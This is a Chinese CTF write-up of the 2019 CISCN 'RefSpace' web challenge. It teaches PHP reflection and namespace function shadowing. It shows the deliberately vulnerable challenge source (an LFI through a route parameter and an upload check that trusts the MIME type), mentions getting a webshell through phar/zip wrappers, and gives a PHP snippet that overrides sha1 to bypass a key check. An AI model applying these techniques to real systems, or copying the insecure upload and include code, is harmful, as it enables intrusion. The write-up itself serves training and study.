2019 CISCN RefSpace

国赛中 RefSpace 那道题的 wp 与研究。

国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的sha1()函数来达到 getFlag。

所以整个题解题思路大致是:

  • 通过 phar/zip 协议,绕过上传点拿到 webshell
  • 通过 php 反射类覆写 sha1 函数 getFlag

让我们首先来了解一下 php 反射

Reflection

PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行反向工程的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。

请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如,一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误,不过, 正因为如此,它们应该被发现和修复。

反射,直观理解就是根据到达地找到出发地和来源。比如,一个光秃秃的对象,我们可以仅仅通过这个对象就能知道它所属的类、拥有哪些方法。

GET

Reflection Class中我们可以看到很多比较有趣的 api ,例如 getProperties

官方文档也给出了例子:

<?php
class Foo {
    public    $foo  = 1;
    protected $bar  = 2;
    private   $baz  = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$props   = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);

foreach ($props as $prop) {
    print $prop->getName() . "\n";
}

var_dump($props);

?>

OutPut:

foo
bar
array(2) {
  [0]=>
  object(ReflectionProperty)#3 (2) {
    ["name"]=>
    string(3) "foo"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionProperty)#4 (2) {
    ["name"]=>
    string(3) "bar"
    ["class"]=>
    string(3) "Foo"
  }
}

读取私有成员变量

如果想要输出私有变量,就加上ReflectionProperty::IS_PRIVATE即可。

执行私有函数

既然可以拿到类成员的值,那么函数返回值能不能拿到呢?

当然是可以的

class Foo {
    private function showFlag(){
        return 'This is not flag';
    }
}

$reflectionMethod = new ReflectionMethod('Foo', 'showFlag');
$reflectionMethod->setAccessible(true);
echo $reflectionMethod->invoke(new Foo());

OutPut:

This is not flag

SET

修改类的成员变量

利用ReflectionProperty::setValue可以修改成员变量,可以参考官方文档给出示例,这里也给一个例子,修改 private 或者 protected 类型的变量也要加上setAccessible(true),否则会报错

class Foo {
    public    $foo  = 1;
    protected $bar  = 2;
    private   $baz  = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);

//change foo fron 1 to 5
$reflect->getProperty('foo')->setValue($foo, '5');

//change baz from 3 to 4
$baz = $reflect->getProperty('baz');
$baz->setAccessible(true);
$baz->setValue($foo, '4');

//Output
$props   = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED | ReflectionProperty::IS_PRIVATE);

foreach ($props as $prop) {
    $prop->setAccessible(true);
    print $prop->getName() . "\n";
    print $prop->getValue($foo)."\n";
}

Output:

foo 5 bar 2 baz 4 

修改函数返回值

并不能直接修改函数返回值

Namespace

这里简单提一下 php 中的 namespace 命名空间,简单来说 php 命名空间为了解决的就是覆写 php 内部函数的问题,详细可以参考命名空间概述

举个例子:

namespace Foo;
function sha1($key){
    return "This is Foo sha1";
}
var_dump(sha1('1'));
var_dump(\sha1('1'));

Output:

/test.php:6:string 'This is Foo sha1' (length=18)

/test.php:7:string '356a192b7913b04c54574d18c28d46e6395428ab' (length=40)

RefSpace

接着我们来看看这个题,首先通过一系列操作 getshell ,参考zip或phar协议包含文件),这里就略过了,都是重复性简单的操作,得到以下源码

app/index

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>

    Hi CTFer,<br />
    这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
    Powered by Aoisystem<br />
    <!-- error_reporting(E_ALL); -->

</body>

</html>

app/Up10aD

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        default:
            echo "Only gif/jpg allowed";
            exit();
    }
    $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
    echo "文件保存位置: {$dst}<br />";
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>
    我们不能让选手轻而易举的搜索到上传接口。<br />
    即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
    <form method="post" enctype="multipart/form-data">
        <label for="file">来选择你的文件吧:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>

</body>

</html>

index.php

<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
    header("location: ?route=app/index");
    exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag

app/flag

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
    echo "Please provide access key<br \>";
    echo '$_GET["key"];';
    exit();
}
$flag = $sdk->verify($key);
if ($flag) {
    echo $flag;
} else {
    echo "Wrong Key";
    exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information

sdk 开发文档.txt:

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

如果正确的话,我们的SDK会返回flag。

PS: 为了节省各位大佬的时间,特注明
    1.此处函数return值并不是真正的flag,和真正的flag没有关系。
    2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
    3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
    4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。

所以这里重点就是 flag.php 了,之前我们提到过可以在命名空间覆写函数,可是即使可以覆写,那要怎么绕过verify这个函数呢?

Invoke

我们可以发现在verify函数中,getHash()函数并没有传参,很有可能就是直接返回了一个固定值或者随机值什么的,那我们是不是可以利用反射类来执行getHash()函数,覆写sha1()函数绕过verify判断呢?

于是我们可以操作一波

<?php
namespace interesting;

class FlagSDK{

    private function getHash(){
        return \sha1('test');
    }

    public function verify($key)
    {
        if (sha1($key) === $this->getHash()) {
            return "flag{xxx}";
        }
        return false;
    }
}
$sdk = new FlagSDK();

function sha1($key){
    $reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
    $reflectionMethod->setAccessible(true);
    return $reflectionMethod->invoke(new FlagSDK());
}

$flag = $sdk->verify('1');
if ($flag) {
    echo $flag;
} else {
    echo "Wrong Key";
    exit();
}

基本构造如上,由于环境已经关了,只能本地实现以下,思路就是以上说的通过反射类来覆写 namespace 的sha1函数来达到绕过效果

做题的时候 flag.php 是有写权限的,所以我们只要把sha1代码写入 flag.php 就可以了

function sha1($key){
    $reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
    $reflectionMethod->setAccessible(true);
    return $reflectionMethod->invoke(new FlagSDK());
}

当然,也可以像 @zsx 师傅一样手撕加密 orz …

Reference

ctf中的php反射)

ROIS CISCN 全国大学生信息安全竞赛线上赛 Writeup

第12届全国大学生信息安全竞赛Web题解

2019 ISCC Web wp 2019 CISCN Web wp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×